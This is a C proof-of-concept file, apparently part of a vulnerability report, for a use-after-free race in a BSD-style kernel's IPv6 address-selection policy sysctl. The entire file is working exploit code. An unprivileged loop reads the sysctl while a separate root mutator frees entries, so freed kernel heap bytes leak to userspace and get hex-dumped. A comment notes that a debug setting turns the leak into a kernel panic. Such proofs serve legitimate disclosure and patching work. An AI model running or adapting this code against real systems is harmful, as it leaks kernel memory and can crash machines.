DF-0615 / reader.c
/* DF-0615 PoC: reader.c โ unprivileged sysctl reader, tight race loop. * * Reads net.inet6.ip6.addrctlpolicy in a tight loop. The sysctl handler * walk_addrsel_policy() runs on THIS (user) thread and dereferences each * addrsel_policyent, calling SYSCTL_OUT (copyout, can block) per entry. * A concurrent root mutator (mutator.c) frees the entry this reader * currently holds; reader resumes and TAILQ_NEXT(pol) reads the freed * chunk's offset-0 word โ a slab free-list pointer (kern_slaballoc.c:1584) * โ and walks the free list, copying freed/garbage heap bytes to userspace * (info leak), or, with debug.use_weird_array=1, panics on an odd pointer. * * Anomaly detection: the mutator maintains exactly NENT entries (label in * [0..NENT)) plus the 9 RFC-3484 boot defaults. If we ever see an entry * whose fields are impossible (sin6_family != AF_INET6 == 28, label out * of range, preced == garbage), that entry was read from FREED memory * (UAF). We hex-dump those leaked bytes as evidence. Seeing MORE entries * than the real table size is also a UAF signature (we walked the free list). * * Build: cc -O2 -o reader reader.c * Run: ./reader (as maxx, unprivileged) * (root may enable debug.use_weird_array=1 first to turn the leak * into a kernel panic โ the definitive UAF proof.) */ #include <sys/types.h> #include <sys/sysctl.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <netinet6/in6_var.h> #ifndef NENT #define NENT 64 /* must match mutator.c */ #endif #define DEFAULTS 9 /* RFC-3484 boot-default policy entries */ #define REALMAX (NENT + DEFAULTS + 2) static void hexdump(const char *p, size_t n, const char *tag) { fprintf(stderr, "%s (%zu bytes):\n", tag, n); for (size_t i = 0; i < n; i++) { if (i % 16 == 0) fprintf(stderr, " %04zx:", i); fprintf(stderr, " %02x", (unsigned char)p[i]); if (i % 16 == 15) fprintf(stderr, "\n"); } if (n % 16) fprintf(stderr, "\n"); } int main(void) { static char buf[1 << 16]; size_t len, psz = sizeof(struct in6_addrpolicy); unsigned long iters = 0, anomalies = 0, maxent = 0; for (;;) { len = sizeof(buf); if (sysctlbyname("net.inet6.ip6.addrctlpolicy", buf, &len, NULL, 0) == 0) { size_t nent = len / psz; if (nent > maxent) maxent = nent; /* UAF signature 1: more entries than can possibly exist */ if (nent > REALMAX && anomalies < 8) { anomalies++; fprintf(stderr, "[reader] UAF#1: sysctl returned %zu entries (> %d real) iter %lu " "-- walked freed slab chunks\n", nent, REALMAX, iters); } /* UAF signature 2: an entry with impossible fields = freed garbage */ struct in6_addrpolicy *p = (void *)buf; for (size_t i = 0; i < nent; i++) { int fam = p[i].addr.sin6_family; int lab = p[i].label; int prec = p[i].preced; if (fam != AF_INET6 || lab < -1 || lab > 1024 || prec < -100000 || prec > 1000000) { if (anomalies < 8) { anomalies++; fprintf(stderr, "[reader] UAF#2: entry %zu/%zu fam=%d label=%d preced=%d " "(freed-chunk garbage) iter %lu\n", i, nent, fam, lab, prec, iters); hexdump((char *)&p[i], psz, " leaked freed-chunk bytes"); } break; } } } iters++; if ((iters & 0xffff) == 0) fprintf(stderr, "[reader] %lu iters, %lu anomalies, maxent=%lu\n", iters, anomalies, maxent); } return 0; } |